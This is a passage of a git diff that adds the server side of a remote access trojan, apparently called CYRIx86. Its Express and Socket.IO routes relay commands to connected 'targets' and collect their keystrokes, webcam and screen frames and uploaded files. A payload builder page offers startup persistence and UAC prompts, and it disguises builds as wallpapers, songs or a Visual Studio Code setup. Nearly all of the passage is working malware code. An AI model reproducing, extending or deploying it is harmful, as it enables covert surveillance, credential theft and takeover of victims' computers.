do nothing on open.
" + break; + case "2": + html = ` +[${new Date()}]
+ +[${new Date()}]
+ ` + break; + case "keystrokes": + key = data.value + let currentLogsContainer = document.querySelector(`.keystrokes-panel-log`) + const b = document.createElement("b") + if (key.length != 1) { + b.className = "gap" + key = ` _${key}_ ` + } + b.innerHTML = `${key}` + currentLogsContainer.appendChild(b) + currentLogsContainer.scrollTop = currentLogsContainer.scrollHeight + return; + case "download": + value = `[${new Date()}]
+ + ${data.value.split("/").slice(-1)} + ` + break; + default: + pre.innerText = data.value + value = pre.outerHTML + break; + + } + + addLogs(data.command, value) +}) + +const streamers = { + "webcamstream": 0, + "screenshare": 0 +} +socket.on(`${ID}-tar-stream`, data => { + console.log(data); + if (data.value.startsWith('ERROR:')) { + addLogs(data.command, data.value, 1) + return + } + + let currentStreamer = document.querySelector(`.${data.command}-panel-log img`) + currentStreamer.src = `data:image/jpeg;base64,${data.value}` + + streamers[data.command] += 1 + currentStreamer.parentElement.querySelector(".streamer-status").innerHTML = `FRAME: ${streamers[data.command]}` +}) + + +// logging +function addLogs(command, data, type = 3) { + const p = document.createElement("p") + p.innerHTML = data + if (type == 0) { + p.className = 'ok' + } else if (type == 1) { + p.className = 'err' + } else if (type == 2) { + p.className = 'command' + } + + let logsContainer = document.querySelector(`.${command}-panel-log`) + logsContainer.appendChild(p) + logsContainer.scrollTop = logsContainer.scrollHeight +} \ No newline at end of file diff --git a/public/assets/src/audio-48.png b/public/assets/src/audio-48.png new file mode 100644 index 0000000..2dcf047 Binary files /dev/null and b/public/assets/src/audio-48.png differ diff --git a/public/assets/src/banner.jpg b/public/assets/src/banner.jpg new file mode 100644 index 0000000..a04f48f Binary files /dev/null and b/public/assets/src/banner.jpg differ diff --git a/public/assets/src/bg.jpeg b/public/assets/src/bg.jpeg new file mode 100644 index 0000000..e975e32 Binary files /dev/null and b/public/assets/src/bg.jpeg differ diff --git a/public/assets/src/bg.mp4 b/public/assets/src/bg.mp4 new file mode 100644 index 0000000..ece0d8e Binary files /dev/null and b/public/assets/src/bg.mp4 differ diff --git a/public/assets/src/blue.png b/public/assets/src/blue.png new file mode 100644 index 0000000..b662362 Binary files /dev/null and b/public/assets/src/blue.png differ diff --git a/public/assets/src/camera-48.png b/public/assets/src/camera-48.png new file mode 100644 index 0000000..411bac8 Binary files /dev/null and b/public/assets/src/camera-48.png differ diff --git a/public/assets/src/command-prompt-48.png b/public/assets/src/command-prompt-48.png new file mode 100644 index 0000000..1ea2cce Binary files /dev/null and b/public/assets/src/command-prompt-48.png differ diff --git a/public/assets/src/discussion-forum-48.png b/public/assets/src/discussion-forum-48.png new file mode 100644 index 0000000..3424ec2 Binary files /dev/null and b/public/assets/src/discussion-forum-48.png differ diff --git a/public/assets/src/download-48.png b/public/assets/src/download-48.png new file mode 100644 index 0000000..5b90e12 Binary files /dev/null and b/public/assets/src/download-48.png differ diff --git a/public/assets/src/exit.png b/public/assets/src/exit.png new file mode 100644 index 0000000..bfd7414 Binary files /dev/null and b/public/assets/src/exit.png differ diff --git a/public/assets/src/folder-48.png b/public/assets/src/folder-48.png new file mode 100644 index 0000000..ab192b0 Binary files /dev/null and b/public/assets/src/folder-48.png differ diff --git a/public/assets/src/keyboard-48.png b/public/assets/src/keyboard-48.png new file mode 100644 index 0000000..836a6ef Binary files /dev/null and b/public/assets/src/keyboard-48.png differ diff --git a/public/assets/src/mic-48.png b/public/assets/src/mic-48.png new file mode 100644 index 0000000..f10488f Binary files /dev/null and b/public/assets/src/mic-48.png differ diff --git a/public/assets/src/notification-48.png b/public/assets/src/notification-48.png new file mode 100644 index 0000000..3cc8d39 Binary files /dev/null and b/public/assets/src/notification-48.png differ diff --git a/public/assets/src/pip.png b/public/assets/src/pip.png new file mode 100644 index 0000000..b418a1c Binary files /dev/null and b/public/assets/src/pip.png differ diff --git a/public/assets/src/powershell-48.png b/public/assets/src/powershell-48.png new file mode 100644 index 0000000..bc75cfd Binary files /dev/null and b/public/assets/src/powershell-48.png differ diff --git a/public/assets/src/python-48.png b/public/assets/src/python-48.png new file mode 100644 index 0000000..d141aec Binary files /dev/null and b/public/assets/src/python-48.png differ diff --git a/public/assets/src/screen-recording-48.png b/public/assets/src/screen-recording-48.png new file mode 100644 index 0000000..0d24f1f Binary files /dev/null and b/public/assets/src/screen-recording-48.png differ diff --git a/public/assets/src/screenshot-48.png b/public/assets/src/screenshot-48.png new file mode 100644 index 0000000..5927461 Binary files /dev/null and b/public/assets/src/screenshot-48.png differ diff --git a/public/assets/src/startup.png b/public/assets/src/startup.png new file mode 100644 index 0000000..3d50184 Binary files /dev/null and b/public/assets/src/startup.png differ diff --git a/public/assets/src/stream-48.png b/public/assets/src/stream-48.png new file mode 100644 index 0000000..25035df Binary files /dev/null and b/public/assets/src/stream-48.png differ diff --git a/public/assets/src/uac.png b/public/assets/src/uac.png new file mode 100644 index 0000000..ea7c94a Binary files /dev/null and b/public/assets/src/uac.png differ diff --git a/public/assets/src/upload-48.png b/public/assets/src/upload-48.png new file mode 100644 index 0000000..ac30f63 Binary files /dev/null and b/public/assets/src/upload-48.png differ diff --git a/public/assets/src/webcam-48.png b/public/assets/src/webcam-48.png new file mode 100644 index 0000000..1576893 Binary files /dev/null and b/public/assets/src/webcam-48.png differ diff --git a/router/create.js b/router/create.js new file mode 100644 index 0000000..86c1c2d --- /dev/null +++ b/router/create.js @@ -0,0 +1,15 @@ +const express = require("express") +const router = express.Router() +const payloads = require("../payloads/payloads") + +router.route("/").get((req, res) => { + res.render("create", { + payloads + }) +}).post((req, res) => { + const { generatePayload } = require("../payloads/creator") + generatePayload(req.body) + res.send(`OK`) +}) + +module.exports = router \ No newline at end of file diff --git a/router/fm.js b/router/fm.js new file mode 100644 index 0000000..b28b44a --- /dev/null +++ b/router/fm.js @@ -0,0 +1,56 @@ +const express = require("express") +const fs = require("fs") +const router = express.Router() +const path = require("path") + +router.route("/").get((req, res) => { + const { id } = req.query + const globalFiles = fs.readdirSync(path.join(process.__dirname, "public", "global")) + + if (id == "global") { + res.render("fm", { + id, + globalFiles, + tarFiles: [] + }) + return + } + + const folderPath = path.join(process.__dirname, "public", "uploads", id) + if (fs.existsSync(folderPath)) { + const tarFiles = fs.readdirSync(folderPath) + + res.render("fm", { + id, + globalFiles, + tarFiles + }) + return + } + + res.send("target not found") +}).post((req, res) => { + if (req.files) { + const uploadFile = req.files.file + + uploadFile.mv(path.join(process.__dirname, "public", "global", uploadFile.name), (err) => { + if (err) console.log(err) + }) + } + res.send("OK") +}) + +router.get("/del", (req, res) => { + try { + const { id, filename } = req.query + let filePath = path.join(process.__dirname, "public", "uploads", id, filename) + if (id == "global") filePath = path.join(process.__dirname, "public", id, filename) + + if (fs.existsSync(filePath)) { + fs.rmSync(filePath, { recursive: true }) + } + } catch (error) { } + res.send("OK") +}) + +module.exports = router \ No newline at end of file diff --git a/router/index.js b/router/index.js new file mode 100644 index 0000000..1773690 --- /dev/null +++ b/router/index.js @@ -0,0 +1,64 @@ +const { checkAdmin, ckeckOnlineTarget } = require("../utils/server-helpers") +const config = require("../utils/config") +const express = require("express") +const router = express.Router() +const fs = require("fs") +const path = require("path") + +router.route("/").get((req, res) => { + const token = req.cookies.token + + if (token == undefined) { + res.render("login") + return + } + + if (token != config.token) { + res.clearCookie("token").redirect("/") + return + } + + const data = [] + for (const id of fs.readdirSync(path.join(process.__dirname, "public", "uploads"))) { + data.push({ + id, + online: ckeckOnlineTarget(id) + }) + } + + res.render("index", { + data + }) +}).post((req, res) => { + const { username, password } = req.body + + if (config.username == username && config.password == password) { + res.cookie("token", config.token, { maxAge: 100000000 * 1000000 }) + } + + res.redirect("/") +}) + +router.get("/cyrix86", (req, res) => { + res.send("cyrix-OK") +}) + +// admin check +router.use(checkAdmin) + +router.get("/del-tar", (req, res) => { + const { id } = req.query + + try { + fs.rmSync(path.join(process.__dirname, 'public', 'uploads', id), { recursive: true }) + } catch (error) { console.log(error) } + + res.send("OK") +}) + + +router.get("/logout", (req, res) => { + res.clearCookie("token").redirect("/") +}) + +module.exports = router \ No newline at end of file diff --git a/router/panel.js b/router/panel.js new file mode 100644 index 0000000..0ce0dae --- /dev/null +++ b/router/panel.js @@ -0,0 +1,43 @@ +const express = require("express") +const fs = require("fs") +const router = express.Router() +const path = require("path") +const { ckeckOnlineTarget, base64Encoder } = require("../utils/server-helpers") + +router.route("/").get((req, res) => { + const { id } = req.query + + if (id == undefined || id.length == 0) { + res.send("ID NOT FOUND") + return + } + + const tarPath = path.join(process.__dirname, "public", "uploads", id) + if (!fs.existsSync(tarPath)) { + res.send("ID NOT FOUND") + return + } + + const cwd = path.join(process.__dirname, "public", "uploads", id, "cwd") + if (!fs.existsSync(cwd)) { + fs.writeFileSync(cwd, "CWD") + } + + const locationPath = fs.readFileSync(cwd, "utf-8") + res.render("panel", { + id, + locationPath, + online: ckeckOnlineTarget(id), + }) +}).post((req, res) => { + const { id } = req.query + + if (ckeckOnlineTarget(id)) { + IO.emit(`to-${id}`, base64Encoder(req.body)) + res.send("OK") + } else { + res.send({ type: "error", message: "target offline" }) + } +}) + +module.exports = router \ No newline at end of file diff --git a/router/tar.js b/router/tar.js new file mode 100644 index 0000000..4f71ed2 --- /dev/null +++ b/router/tar.js @@ -0,0 +1,105 @@ +const express = require("express") +const router = express.Router() +const path = require("path") +const { TARGETS, ckeckOnlineTarget, base64Decoder } = require("../utils/server-helpers") +const fs = require("fs") + +IO.on("connection", socket => { + socket.on("connected", encodedData => { + const data = base64Decoder(encodedData) + const tarPath = path.join(process.__dirname, "public", "uploads", data.id) + + if (ckeckOnlineTarget(data.id)) { // exit the client for extra connection + socket.disconnect(true) + } else { // new client connection + TARGETS[socket.id] = data.id + + if (!fs.existsSync(tarPath)) { + fs.mkdirSync(tarPath) + IO.emit('gl-msg', { title: "new target", value: `ID: ${data.id}PAYLOADS - select payload
+ Ex: c, c++, go, vbs...etc
+ ORIGIN - uri of the cyrix86 server [http/https] only
+ Ex: http://localhost:10310
+ https://cyrix86.com
+ http://localhost:8080
+ http://localhost
+ https://payload.com:443
+ https://localhostrun.com
+ http://cloudflared.try.com
+ https://ngrok-id.com
+
+ STARTUP - set the payload on startup
+ Ex: true
+ false
+
+ REQUEST UAC - request for user access control
+ Ex: true
+ false
+
+ FILENAME - build output filename
+ Ex: test_setup
+ car-wallpaper-hd
+ desktop-wallpaper-4k.jpeg
+ visual_studio_code_setup.exe
+ new_song.mp3
+ full_video.mp4
+
+ ADDONS - embed with media, url...etc
+ Ex: NOTHING
+ -
+
+ Ex: MEDIA
+ url: https://wallpapercave.com/wp/wp13303651.jpg | filename: wallpaper.jpg
+ url: https://ms.com/dbazure/download/stable/setup.exe | filename: visual_studio_code_setup.exe
+ url: http://audio.com/music.mp3 | filename: new_song.mp3
+ url: http://video.com/video.mp4 | filename: video_file.mp4
+
+ Ex: URL
+ https://google.com
+ https://facebook.com
+ https://visualstudio.microsoft.com
+ https://wallpapercave.com
+
+ Ex: CMD COMMANDS
+ start notepad
+ start chrome
+ start control
+ start explorer
+ start calc
+
+ CYRIx86
+ -by madhanmaaz + +<%- target.id %>
+ <% if (target.online) { %> + + <% } else { %> + + <% } %> + +